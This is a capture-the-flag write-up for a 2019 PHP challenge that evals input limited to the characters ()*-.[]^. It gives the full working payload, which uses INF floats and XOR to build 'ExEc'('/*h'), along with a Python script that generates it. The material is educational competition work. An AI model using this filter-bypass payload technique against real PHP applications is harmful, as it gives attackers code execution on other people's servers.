38 minute read ★★☆☆☆

The following challenge is from the Zetta-CTF PHP: Horrific Puzzle, during the VXCON in Hong Kong, 27 Apr - 28 Apr 2019. The challenge is named 🥥. btw no one plays.

I wrote this write-up back in 28 Apr 2019 after the CTF ends. At the time I was still very new to CTF (now also very new), so the formatting and the quality of this write-up is not so good. This is just for my archive purposes.

Challenge

The code reads

<?=@preg_match('/^[\(\)\*\-\.\[\]\^]+$/',($_=$_GET["🥥"]))&&!(strlen($_)>>10)?@eval("set_error_handler(function(){exit();});error_get_last()&&exit();return $_;"):!highlight_file(__FILE__);

In pseudocode, we can write this as

if input contains only ()*-.[]^ and length of input < 1024:
    (with exit on error) eval input and print the return value
else:
    show the source code

Our goal is to execute /checksec.sh (the common goal of the whole CTF).

In short, we can run wherever we want, but the command need to contain only ()*-.[]^, and the command needs to be less than 1024 characters. Also, any error/warning/notice will cause the program to exit.

Is this JSFuck?

The idea of restricting the allowed characters is not new: perhaps the most famous one is JSFuck, which can turn any javascript code into valid js codes, but using ()[]!+. Just looking from it, it seems that we are even better off than JSFuck, since we have more characters. But actually no. The reason is that we don’t have +, instead we get this awkward charset of *-.^. Even the simplest number 3 can only be constructed by 10-1-1-1-1-1-1-1 instead of the obvious 1+1.

Constructing the Easy Characters

With inspirations from JSFuck, trial and error, and the great behavior of php , we can begin to assemble some simple characters:

0 can be expressed by []^[], and 1 can be expressed by []^[[]].

With the help of ., which can act as the concatenation operator for strings, we can express 10 by []^[].[]^[[]]. Then we can get the other numbers by repeatedly subtract 1 from 10 multiple times.

So for example, 6 is \(10-1-1-1-1\) or equivalently, \(7-1\) , or ([]^[].[]^[[]])-[]^[[]]-[]^[[]]-[]^[[]]-[]^[[]]. So we can construct all the numbers we want.

Now we want some English letters. Luckily we have floating point numbers, which has INF and scientific notations like 1.234E+45. So we now we can use I,N,F,.,E,+ as well. Of course we cannot do something like (INF)[0] since INF is a number (a float), but we can concatenate a 0 at the back to make it a string, i.e. do (INF . 0)[0], which is equivalent to 'INF0'[0]. At the same time, observe that we can use - just by using (-1 . 0)[0].

Creating the Payload

Now, by using what we have, we can try to construct our payload. We should do something like exec('/checksec.sh'). Although we can only input string, not identifiers, doing 'exec'('/checksec.sh') will still result in a function call in php. Also, we can try to reduce the character we use by using filename substitution in bash, i.e. using * to match our file. So now we can reduce the payload to 'exec'('/*.*').

Now we need to construct the characters that we need: exc/*.. php functions are case insensitive so “EXC” will also work. It left us to construct “xc/*”. The main technique for doing so is to do xor:

\[x=y \wedge z \]

, where x is the character we want, and y, z are the characters we have. Notice that

\[x = y \wedge z \iff x \wedge y = z\]

So we can try to xor the characters we want with the characters we have, and hope that we get some characters that we have by some trial-and-error. For example: \(c \wedge N = -\), so \(c = N \wedge -\), and we have both ‘N’ and ‘-‘ already.

Another way is to get the characters we want by xor-ing neighboring characters by a small ‘number’, e.g.:

\[* = \cdot \wedge 0\times 04 = \cdot \wedge ( 4 \wedge 0)\]

Here we need the string '1' and '5', so we need to do '.' xor ((4 . 0) xor (0 . 0)).

PHP behavior LOL

By now we are able to construct all the characters needed for our payload. But if we check the length of our payload, it will be something like 12xx characters (originally with all lower case characters, the payload is 22xx characters long) ! We need to reduce the character count.

Now we turn to the hint by the author:

  • There is a shorter payload than /*.*
  • ‘ABC’ xor ‘bc’ = ???
  • ’/*’ can be constructed together in a weird way: xor is bitwise and it commutes

For the first hint, notice that we can reduce the payload to just /*h and it will still expand to /checksec.sh correctly.

For the second hint, observe that in php, a longer string xor a shorter string gives us a shorter string. In fact, we made use of this fact in '*' = '.' xor ((1 . 0) ^ (5 ^ 0)).

The third hint (along with the second one) is the one that helped to drop the length to below 1024. First we know that we can construct / and * by '/' = '-' ^ "\x02" and '*' = '.' ^ "\x04". A naive attempt is to combine to yield

\[/* = -. \wedge 0\times0204 = -. \wedge 24 \wedge 00\]

, but notice that the number of length of characters required to construct this is the same! Here, a big observation is that we can have

\[/* = -. \wedge 24 \wedge 00 = -4 \wedge 2. \wedge 00\]

Since we can use a long string for the xor, provided that we have a ‘00’ to restrict the length of the final output of the xor to 2, we can get 2. by finding a floating point number 2.???????E+???, so we have

\[/* = -4 \wedge 2.\text{????}\textbf{E+}\text{????} \wedge 00\]

And constructing -4 and a floating point number starting with 2. take much less space than the individual numbers 2,4 and the character - and .. The final payload has length 928. On a high level, it is 'ExEc'('/*h'). In full, the payload are as follows (for those who are too lazy to run the python script themselves):

((((([]^[[]]).([]^[]))**(([]^[[]]).([]^[]).([]^[])).([]^[]))[([]^[[]]).([]^[])-([]^[[]])-([]^[[]])-([]^[[]])-([]^[[]])-([]^[[]])-([]^[[]])-([]^[[]])]).((((([]^[[]]).([]^[])-([]^[[]]))**(([]^[[]]).([]^[]).([]^[]).([]^[])).([]^[]))[([]^[])])^(([]^[[]]).([]^[]))).(((([]^[[]]).([]^[]))**(([]^[[]]).([]^[]).([]^[])).([]^[]))[([]^[[]]).([]^[])-([]^[[]])-([]^[[]])-([]^[[]])-([]^[[]])-([]^[[]])-([]^[[]])-([]^[[]])]).((((([]^[[]]).([]^[])-([]^[[]]))**(([]^[[]]).([]^[]).([]^[]).([]^[])).([]^[]))[([]^[[]])])^(((-([]^[[]])).([]^[]))[([]^[])])))((((-(([]^[[]]).([]^[])-([]^[[]])-([]^[[]])-([]^[[]])-([]^[[]])-([]^[[]])-([]^[[]]))).([]^[]))^((((([]^[[]]).([]^[])-([]^[[]])))**(([]^[[]]).([]^[]).([]^[]))).([]^[]))^(([]^[]).([]^[]))).((((([]^[[]]).([]^[]))**(([]^[[]]).([]^[]).([]^[])).([]^[]))[([]^[[]])])^(((([]^[[]]).([]^[])-([]^[[]]))**(([]^[[]]).([]^[]).([]^[]).([]^[])).([]^[]))[([]^[[]]).([]^[[]])^(([]^[[]]).([]^[])-([]^[[]]))])))

which do give us the flag as desired. You can find the code that generates the payload below:

zero = "([]^[])"
one = "([]^[[]])"
ten = f"{one}.{zero}"
nine = f"{ten}-{one}"
eight = f"{nine}-{one}"
seven = f"{eight}-{one}"
six = f"{seven}-{one}"
five = f"{six}-{one}"
four = f"{five}-{one}"
three = f"{four}-{one}"
two = f"{one}.{one}^({nine})" # A small optimization over 3 - 1

INF = f"({nine})**({one}.{zero}.{zero}.{zero})"
I = f"({INF}.{zero})[{zero}]"  # used for x
N = f"({INF}.{zero})[{one}]"  # used for e,c
F = f"({INF}.{zero})[{two}]"

sf = f"({one}.{zero})**({one}.{zero}.{zero}).{zero}" # 1.0E+100
dot = f"({sf})[{one}]"
E = f"({sf})[{three}]"
plus = f"({sf})[({four})]"
minus = f"((-{one}).{zero})[{zero}]"

sf2 = f"(({nine}))**({one}.{zero}.{zero})" # 2.<whatever>

slashstar = f"((-({four})).{zero})^(({sf2}).{zero})^({zero}.{zero})"
c = f"({N})^({minus})"
x = f"({I})^({one}.{zero})"
h = f"({dot})^({F})"

payload = f"(({E}).({x}).({E}).({c}))(({slashstar}).({h}))"
print(f"total: {len(payload)}")
print(payload)